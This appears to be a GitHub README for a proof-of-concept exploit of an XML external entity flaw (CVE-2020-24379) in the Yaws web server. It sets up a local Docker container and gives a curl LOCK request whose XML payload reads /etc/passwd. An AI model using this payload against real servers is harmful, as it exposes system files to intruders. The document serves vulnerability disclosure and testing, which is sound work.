Yaws web server XML external entity injection POC

XXE in Yaws web server (CVE-2020-24379)

Proof of concept

Build test image:

```
docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile .
```

and/or

Run container `docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod`

Then run:

```
curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \
  --data-binary @- << EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<d:lockinfo xmlns:d="DAV:">
  <d:lockscope><d:exclusive/></d:lockscope>
  <d:locktype><d:write/></d:locktype>
  <d:owner>
  <d:href><r>&sp;</r></d:href>
  </d:owner>
  </d:lockinfo>
EOF
```

Credit

Alexey Pronin (@vulnbe)

References

- Vulnerability analysis
- Yaws on github
- CVE-2020-24379
- CWE-611: Improper Restriction of XML External Entity Reference

Languages

- Dockerfile 100.0%